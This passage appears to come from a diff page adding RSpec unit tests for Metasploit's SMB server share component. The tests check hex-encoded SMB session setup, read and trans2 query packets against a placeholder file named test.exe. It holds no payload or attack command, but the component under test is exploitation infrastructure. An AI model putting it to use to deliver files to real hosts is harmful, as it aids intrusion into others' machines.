"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x0c\xff\x00\x00\x00\xff\xff\x00\x00\x00\x00\x00" +
"\x40\x3b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x0a\x00\x6d" +
"\x65\x74\x61\x73\x70\x6c\x6f\x69\x74"
end
let(:valid_response_length) { 73 }
let(:invalid_offset_request) do
"\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x18\x07\xe8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" +
"\x00\x00\x00\x01\x0c\xff\x00\xde\xde\xad\xde\x00\xd0\x00\x00\x00" +
"\x40\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00"
end
let(:empty_response) do
"\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x0c\xff\x00\x00\x00\xff\xff\x00\x00\x00\x00\x00" +
"\x40\x3b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00"
end
let(:empty_response_length) { 63 }
before(:each) do
mod.instance_variable_set('@state', {
client => {
:multiplex_id => 0x41424344,
:process_id => 0x45464748,
:file_id => 0xdead,
:dir_id => 0xbeef
}
})
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'false.exe'
mod.file_contents = 'metasploit'
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.write(data)
end
end
describe "#send_read_andx_res" do
it "returns the number of bytes sent" do
expect(mod.send_read_andx_res(client)).to eq(default_response_length)
end
it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do
mod.send_read_andx_res(client)
client.seek(0)
res = client.read
expect(res).to eq(default_response)
end
end
describe "#smb_cmd_read_andx" do
context "when read request for valid offset" do
it "returns the number of bytes answered" do
expect(mod.smb_cmd_read_andx(client, valid_request)).to eq(valid_response_length)
end
it "sends a valid response with the contents to the client" do
mod.smb_cmd_read_andx(client, valid_request)
client.seek(0)
res = client.read
expect(res).to eq(valid_response)
end
end
context "when read request for invalid offset" do
it "returns the number of bytes answered" do
expect(mod.smb_cmd_read_andx(client, invalid_offset_request)).to eq(empty_response_length)
end
it "sends an empty read response to the client" do
mod.smb_cmd_read_andx(client, invalid_offset_request)
client.seek(0)
res = client.read
expect(res).to eq(empty_response)
end
end
end
end

View File

@ -0,0 +1,138 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/smb/server/share'
require 'rex/proto/smb/constants'
describe Msf::Exploit::Remote::SMB::Server::Share do
subject(:mod) do
mod = Msf::Exploit.new
mod.extend described_class
mod.send(:initialize)
mod
end
let(:client_string) { '' }
let(:client) { StringIO.new(client_string) }
let(:default_response_length) { 45 }
let(:default_response) do
"\x00\x00\x00\x29\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x03\xff\x00\x00\x00\x00\x00\x00\x00"
end
let(:default_tree_connect_response_length) { 62 }
let(:default_tree_connect_response) do
"\x00\x00\x00\x3a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x03\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
end
let(:valid_request) do
"\x00\x00\x00\xf6\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" +
"\x00\x00\x00\xb4\x0d\x75\x00\x6a\x00\x04\x11\x32\x00\x01\x00\x00" +
"\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\xd4\x00\x00\x00\x2d" +
"\x00\x00\x00\x00\x41\x00\x64\x00\x6d\x00\x69\x00\x6e\x00\x69\x00" +
"\x73\x00\x74\x00\x72\x00\x61\x00\x74\x00\x6f\x00\x72\x00\x00\x00" +
"\x44\x00\x45\x00\x4d\x00\x4f\x00\x00\x00\x00\x00\x00\x00\x04\xff" +
"\x00\xf6\x00\x08\x00\x50\x00\x81\x00\xd5\xd0\x4b\x3f\xa4\xd7\x53" +
"\xa4\x03\x65\xe4\x9c\x00\x68\xfb\xb5\x01\x01\x00\x00\x00\x00\x00" +
"\x00\x6b\xf3\xdc\xf0\xd5\x4f\xd0\x01\x48\x51\x81\xa6\x07\x5b\x97" +
"\xe6\x00\x00\x00\x00\x02\x00\x18\x00\x31\x00\x37\x00\x32\x00\x2e" +
"\x00\x31\x00\x36\x00\x2e\x00\x31\x00\x35\x00\x38\x00\x2e\x00\x31" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x00\x5c\x00\x31\x00" +
"\x37\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x2e\x00\x31\x00\x35\x00" +
"\x38\x00\x2e\x00\x31\x00\x5c\x00\x4e\x00\x52\x00\x42\x00\x4a\x00" +
"\x55\x00\x00\x00\x3f\x3f\x3f\x3f\x3f\x00"
end
let(:valid_response) do
"\x00\x00\x00\x7e\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x03\x75\x00\x60\x00\x01\x00\x37\x00\x00\x55\x00" +
"\x6e\x00\x69\x00\x78\x00\x00\x00\x53\x00\x61\x00\x6d\x00\x62\x00" +
"\x61\x00\x20\x00\x33\x00\x2e\x00\x34\x00\x2e\x00\x37\x00\x00\x00" +
"\x57\x00\x4f\x00\x52\x00\x4b\x00\x47\x00\x52\x00\x4f\x00\x55\x00" +
"\x50\x00\x00\x00\x07\xff\x00\x00\x00\x01\x00\xa9\x00\x12\x00\x00" +
"\x00\x00\x00\x0d\x00\x41\x3a\x00\x4e\x00\x54\x00\x46\x00\x53\x00" +
"\x00\x00"
end
let(:valid_response_length) { 130 }
let(:opts) { {} }
before(:each) do
mod.instance_variable_set('@state', {
client => {
:multiplex_id => 0x41424344,
:process_id => 0x45464748,
:file_id => 0xdead,
:dir_id => 0xbeef
}
})
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'false.exe'
mod.file_contents = 'metasploit'
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.write(data)
end
end
describe "#send_session_setup_andx_res" do
context "when no extra command" do
it "returns the number of bytes sent" do
expect(mod.send_session_setup_andx_res(client)).to eq(default_response_length)
end
it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do
mod.send_session_setup_andx_res(client)
client.seek(0)
res = client.read
expect(res).to eq(default_response)
end
end
context "when extra SMB_COM_TREE_CONNECT_ANDX command" do
before(:each) do
tree_connect_response = Rex::Proto::SMB::Constants::SMB_TREE_CONN_ANDX_RES_PKT.make_struct
opts[:andx_command] = tree_connect_response
end
it "returns the number of bytes sent" do
expect(mod.send_session_setup_andx_res(client, opts)).to eq(default_tree_connect_response_length)
end
it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do
mod.send_session_setup_andx_res(client, opts)
client.seek(0)
res = client.read
expect(res).to eq(default_tree_connect_response)
end
end
end
describe "#smb_cmd_session_setup_andx" do
it "returns the number of bytes answered" do
expect(mod.smb_cmd_session_setup_andx(client, valid_request)).to eq(valid_response_length)
end
it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do
mod.smb_cmd_session_setup_andx(client, valid_request)
client.seek(0)
res = client.read
expect(res).to eq(valid_response)
end
end
end

View File

@ -0,0 +1,76 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/smb/server/share'
require 'rex/proto/smb/constants'
describe Msf::Exploit::Remote::SMB::Server::Share do
subject(:mod) do
mod = Msf::Exploit.new
mod.extend described_class
mod.send(:initialize)
mod
end
let(:client_string) { '' }
let(:client) { StringIO.new(client_string) }
let(:valid_find_file_both_directory_info_params) do
"\x16\x00\x56\x05\x07\x00\x04\x01\x00\x00\x00\x00\x5c\x00\x74\x00" +
"\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00"
end
let(:find_file_both_directory_info_res_length) { 179 }
before(:each) do
mod.instance_variable_set('@state', {
client => {
:multiplex_id => 0x41424344,
:process_id => 0x45464748,
:file_id => 0xdead,
:dir_id => 0xbeef
}
})
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'test.exe'
mod.file_contents = 'metasploit'
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.write(data)
end
end
describe "#smb_cmd_trans2_find_first2" do
context "when valid SMB_FIND_FILE_BOTH_DIRECTORY_INFO parameters" do
it "returns the number of bytes answered" do
expect(mod.smb_cmd_trans2_find_first2(client, valid_find_file_both_directory_info_params)).to eq(find_file_both_directory_info_res_length)
end
it "send TRANSACTIONS2 response with the file name found in the SMB_Data" do
mod.smb_cmd_trans2_find_first2(client, valid_find_file_both_directory_info_params)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name))
end
end
end
end

View File

@ -0,0 +1,75 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/smb/server/share'
require 'rex/proto/smb/constants'
describe Msf::Exploit::Remote::SMB::Server::Share do
subject(:mod) do
mod = Msf::Exploit.new
mod.extend described_class
mod.send(:initialize)
mod
end
let(:client_string) { '' }
let(:client) { StringIO.new(client_string) }
let(:valid_query_file_standard_info_params) do
"\xad\xde\xed\x03"
end
let(:query_file_standard_info_res_length) { 83 }
before(:each) do
mod.instance_variable_set('@state', {
client => {
:multiplex_id => 0x41424344,
:process_id => 0x45464748,
:file_id => 0xdead,
:dir_id => 0xbeef
}
})
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'test.exe'
mod.file_contents = 'metasploit'
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.write(data)
end
end
describe "#smb_cmd_trans2_query_file_information" do
context "when valid SMB_QUERY_FILE_STANDARD_INFO parameters" do
it "returns the number of bytes answered" do
expect(mod.smb_cmd_trans2_query_file_information(client, valid_query_file_standard_info_params)).to eq(query_file_standard_info_res_length)
end
it "send SMB_QUERY_FILE_STANDARD_INFO response with the file size" do
mod.smb_cmd_trans2_query_file_information(client, valid_query_file_standard_info_params)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['EndOfFile']).to eq(mod.file_contents.length)
end
end
end
end

View File

@ -0,0 +1,128 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/smb/server/share'
require 'rex/proto/smb/constants'
describe Msf::Exploit::Remote::SMB::Server::Share do
subject(:mod) do
mod = Msf::Exploit.new
mod.extend described_class
mod.send(:initialize)
mod
end
let(:client_string) { '' }
let(:client) { StringIO.new(client_string) }
let(:valid_query_path_standard_info_params) do
"\xed\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" +
"\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00"
end
let(:query_path_standard_info_res_length) { 83 }
let(:valid_query_path_basic_info_params) do
"\xec\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" +
"\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00"
end
let(:query_path_basic_info_res_length) { 101 }
let(:non_existent_query_path_basic_info_params) do
"\xec\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" +
"\x2e\x00\x65\x00\x78\x00\x61\x00\x00\x00"
end
let(:not_found_res_length) { 39 }
before(:each) do
mod.instance_variable_set('@state', {
client => {
:multiplex_id => 0x41424344,
:process_id => 0x45464748,
:file_id => 0xdead,
:dir_id => 0xbeef
}
})
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'test.exe'
mod.file_contents = 'metasploit'
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.write(data)
end
end
describe "#smb_cmd_trans2_query_path_information" do
context "when valid SMB_QUERY_PATH_STANDARD_INFO parameters" do
it "returns the number of bytes answered" do
expect(mod.smb_cmd_trans2_query_path_information(client, valid_query_path_standard_info_params)).to eq(query_path_standard_info_res_length)
end
it "send SMB_QUERY_PATH_STANDARD_INFO response with the file size" do
mod.smb_cmd_trans2_query_path_information(client, valid_query_path_standard_info_params)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['EndOfFile']).to eq(mod.file_contents.length)
end
end
context "when valid SMB_QUERY_PATH_BASIC_INFO parameters" do
it "returns the number of bytes answered" do
expect(mod.smb_cmd_trans2_query_path_information(client, valid_query_path_basic_info_params)).to eq(query_path_basic_info_res_length)
end
it "send SMB_QUERY_PATH_BASIC_INFO response with the file attributes" do
mod.smb_cmd_trans2_query_path_information(client, valid_query_path_basic_info_params)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['ExtFileAttributes']).to eq(0x80)
end
end
context "when non existent file SMB_QUERY_PATH_BASIC_INFO parameters" do
it "returns the number of bytes answered" do
expect(mod.smb_cmd_trans2_query_path_information(client, non_existent_query_path_basic_info_params)).to eq(not_found_res_length)
end
it "send TRANS2 response with error" do
mod.smb_cmd_trans2_query_path_information(client, non_existent_query_path_basic_info_params)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND)
end
end
end
end

View File

@ -0,0 +1,219 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/smb/server/share'
require 'rex/proto/smb/constants'
describe Msf::Exploit::Remote::SMB::Server::Share do
subject(:mod) do
mod = Msf::Exploit.new
mod.extend described_class
mod.send(:initialize)
mod
end
let(:client_string) { '' }
let(:client) { StringIO.new(client_string) }
let(:unicode_path) { "\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" }
let(:normalized_path) { '\\test.exe' }
let(:ascii_path) { 'test.exe' }
let(:broken_path) { 'ts.x' }
let(:wildcard_filename) { '\\*.exe' }
let(:wildcard_ext) { '\\test.*' }
let(:alternate_wildcard_filename) { '\\<.exe' }
let(:valid_find_first2) do
"\x00\x00\x00\x64\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x18\x07\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0b" +
"\x00\x00\x40\xb5\x0f\x20\x00\x00\x00\x0a\x00\x00\x40\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x20\x00\x44\x00\x00\x00\x00\x00\x01" +
"\x00\x01\x00\x23\x00\x00\x00\x00\x16\x00\x56\x05\x07\x00\x04\x01" +
"\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00" +
"\x65\x00\x78\x00\x65\x00\x00\x00"
end
let(:find_first2_res_length) { 179 }
let(:find_first2_res_data_length) { 110 }
let(:find_first2_res_params_length) { 10 }
let(:valid_query_file_info) do
"\x00\x00\x00\x48\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x18\x07\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0b" +
"\x00\x00\xc0\xb5\x0f\x04\x00\x00\x00\x02\x00\x18\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x04\x00\x44\x00\x00\x00\x00\x00\x01" +
"\x00\x07\x00\x07\x00\x00\x00\x00\xad\xde\xed\x03"
end
let(:query_file_info_res_length) { 83 }
let(:query_file_info_res_data_length) { 22 }
let(:query_file_info_params_length) { 2 }
let(:valid_query_path_info) do
"\x00\x00\x00\x5e\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x18\x07\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0b" +
"\x00\x00\x40\xb4\x0f\x1a\x00\x00\x00\x02\x00\x28\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x44\x00\x00\x00\x00\x00\x01" +
"\x00\x05\x00\x1d\x00\x00\x00\x00\xec\x03\x00\x00\x00\x00\x5c\x00" +
"\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00" +
"\x00\x00"
end
let(:query_path_info_res_length) { 101 }
let(:query_path_info_res_data_length) { 40 }
let(:query_path_info_params_length) { 2 }
let(:empty_query) { "\x00\x00\x00\x00" }
let(:empty_query_res_length) { 39 }
before(:each) do
mod.instance_variable_set('@state', {
client => {
:multiplex_id => 0x41424344,
:process_id => 0x45464748,
:file_id => 0xdead,
:dir_id => 0xbeef
}
})
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'test.exe'
mod.file_contents = 'metasploit'
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.write(data)
end
end
describe "#normalize_path" do
context "when unicode path" do
it "returns the normalized path" do
expect(mod.normalize_path(unicode_path)).to eq(normalized_path)
end
end
context "when ascii path" do
it "returns a broken path" do
expect(mod.normalize_path(ascii_path)).to eq(broken_path)
end
end
end
describe "#smb_expand" do
context "when * wildcard" do
it "expands the filename" do
expect(mod.smb_expand(wildcard_filename)).to eq(normalized_path)
end
it "doesn't expand the extension" do
expect(mod.smb_expand(wildcard_ext)).to eq('\\test.*')
end
end
context "when < wildcard" do
it "expands the filename" do
expect(mod.smb_expand(alternate_wildcard_filename)).to eq(normalized_path)
end
end
end
describe "#smb_cmd_trans2" do
context "when valid FIND_FIRST2 subcommand request" do
it "returns the number of bytes answered" do
expect(mod.smb_cmd_trans2(client, valid_find_first2)).to eq(find_first2_res_length)
end
it "sends a FIND_FIRST2 response with parameters" do
mod.smb_cmd_trans2(client, valid_find_first2)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
expect(trans2_res['Payload'].v['ParamCount']).to eq(find_first2_res_params_length)
end
it "sends a FIND_FIRST2 response with data" do
mod.smb_cmd_trans2(client, valid_find_first2)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
expect(trans2_res['Payload'].v['DataCount']).to eq(find_first2_res_data_length)
end
end
context "when valid QUERY_FILE_INFO subcommand request" do
it "returns the number of bytes answered" do
expect(mod.smb_cmd_trans2(client, valid_query_file_info)).to eq(query_file_info_res_length)
end
it "sends a QUERY_FILE_INFO response with parameters" do
mod.smb_cmd_trans2(client, valid_query_file_info)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
expect(trans2_res['Payload'].v['ParamCount']).to eq(query_file_info_params_length)
end
it "sends a QUERY_FILE_INFO response with data" do
mod.smb_cmd_trans2(client, valid_query_file_info)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
expect(trans2_res['Payload'].v['DataCount']).to eq(query_file_info_res_data_length)
end
end
context "when valid QUERY_PATH_INFO subcommand request" do
it "returns the number of bytes answered" do
expect(mod.smb_cmd_trans2(client, valid_query_path_info)).to eq(query_path_info_res_length)
end
it "sends a QUERY_PATH_INFO response with parameters" do
mod.smb_cmd_trans2(client, valid_query_path_info)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
expect(trans2_res['Payload'].v['ParamCount']).to eq(query_path_info_params_length)
end
it "sends a QUERY_PATH_INFO response with data" do
mod.smb_cmd_trans2(client, valid_query_path_info)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
expect(trans2_res['Payload'].v['DataCount']).to eq(query_path_info_res_data_length)
end
end
context "when empty request" do
it "returns the number of bytes answered" do
expect(mod.smb_cmd_trans2(client, empty_query)).to eq(empty_query_res_length)
end
it "sends an SMB_NT_STATUS_NOT_FOUND error to the client" do
mod.smb_cmd_trans2(client, empty_query)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_NT_STATUS_NOT_FOUND)
end
end
end
end

View File

@ -0,0 +1,337 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/smb/server/share'
require 'rex/proto/smb/constants'
describe Msf::Exploit::Remote::SMB::Server::Share do
subject(:mod) do
mod = Msf::Exploit.new
mod.extend described_class
mod.send(:initialize)
mod
end
let(:client_string) { '' }
let(:client) { StringIO.new(client_string) }
let(:default_find_file_both_directory_info_res_length) { 163 }
let(:default_find_file_both_directory_info_res) do
"\x00\x00\x00\x9f\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x0a\x0a\x00\x5e\x00\x00\x00\x0a\x00\x37\x00\x00" +
"\x00\x5e\x00\x41\x00\x00\x00\x00\x00\x68\x00\xfd\xff\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x5e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00"
end
let(:default_find_file_names_info_res_length) { 81 }
let(:default_find_file_names_info_res) do
"\x00\x00\x00\x4d\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x0a\x0a\x00\x0c\x00\x00\x00\x0a\x00\x37\x00\x00" +
"\x00\x0c\x00\x41\x00\x00\x00\x00\x00\x16\x00\xfd\xff\x01\x00\x01" +
"\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00"
end
let(:default_find_full_directory_info_res_length) { 137 }
let(:default_find_full_directory_info_res) do
"\x00\x00\x00\x85\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\x47" +
"\x00\x00\x44\x43\x0a\x0a\x00\x44\x00\x00\x00\x0a\x00\x37\x00\x00" +
"\x00\x44\x00\x41\x00\x00\x00\x00\x00\x4e\x00\xfd\xff\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
end
let(:non_existent_path) { 'non_existent' }
let(:file_path) { 'test.exe' }
let(:folder_path) { '\\' }
let(:error_res_length) { 39 }
let(:existent_file_file_both_dir_res_length) { 179 }
let(:existent_folder_file_both_dir_res_length) { 165 }
let(:existent_file_file_names_res_length) { 97 }
let(:existent_folder_file_names_res_length) { 83 }
let(:existent_file_file_full_res_length) { 153 }
let(:existent_folder_file_full_res_length) { 139 }
before(:each) do
mod.instance_variable_set('@state', {
client => {
:multiplex_id => 0x41424344,
:process_id => 0x45464748,
:file_id => 0xdead,
:dir_id => 0xbeef
}
})
mod.lo = 0
mod.hi = 0
mod.share = 'test'
mod.path_name = "\\"
mod.file_name = 'test.exe'
mod.file_contents = 'metasploit'
allow_any_instance_of(::StringIO).to receive(:put) do |io, data|
io.write(data)
end
end
describe "#send_find_file_both_directory_info_res" do
context "when no opts" do
it "returns the number of bytes sent" do
expect(mod.send_find_file_both_directory_info_res(client)).to eq(default_find_file_both_directory_info_res_length)
end
it "sends a default TRANSACTION2 response" do
mod.send_find_file_both_directory_info_res(client)
client.seek(0)
res = client.read
expect(res).to eq(default_find_file_both_directory_info_res)
end
end
end
describe "#send_find_file_names_info_res" do
context "when no opts" do
it "returns the number of bytes sent" do
expect(mod.send_find_file_names_info_res(client)).to eq(default_find_file_names_info_res_length)
end
it "sends a default TRANSACTION2 response" do
mod.send_find_file_names_info_res(client)
client.seek(0)
res = client.read
expect(res).to eq(default_find_file_names_info_res)
end
end
end
describe "#send_find_full_directory_info_res" do
context "when no opts" do
it "returns the number of bytes sent" do
expect(mod.send_find_full_directory_info_res(client)).to eq(default_find_full_directory_info_res_length)
end
it "sends a default TRANSACTION2 response" do
mod.send_find_full_directory_info_res(client)
client.seek(0)
res = client.read
expect(res).to eq(default_find_full_directory_info_res)
end
end
end
describe "#smb_cmd_find_file_both_directory_info" do
context "when non existent path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_find_file_both_directory_info(client, non_existent_path)).to eq(error_res_length)
end
it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do
mod.smb_cmd_find_file_both_directory_info(client, non_existent_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_NO_SUCH_FILE)
end
end
context "when existent file path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_find_file_both_directory_info(client, file_path)).to eq(existent_file_file_both_dir_res_length)
end
it "sends a TRANSACTION2 response with the found FileName in SMB Data" do
mod.smb_cmd_find_file_both_directory_info(client, file_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
trans2_res.from_s(res)
param_count = trans2_res['Payload'].v['ParamCount']
data_count = trans2_res['Payload'].v['DataCount']
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
smb_data.from_s(data)
expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.file_name))
end
end
context "when existent folder path" do
it "returns the number of bytes sent" do
expect(mod.smb_cmd_find_file_both_directory_info(client, folder_path)).to eq(existent_folder_file_both_dir_res_length)
end
it "sends a TRANSACTION2 response with the found FileName in SMB Data" do
mod.smb_cmd_find_file_both_directory_info(client, folder_path)
client.seek(0)
res = client.read
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
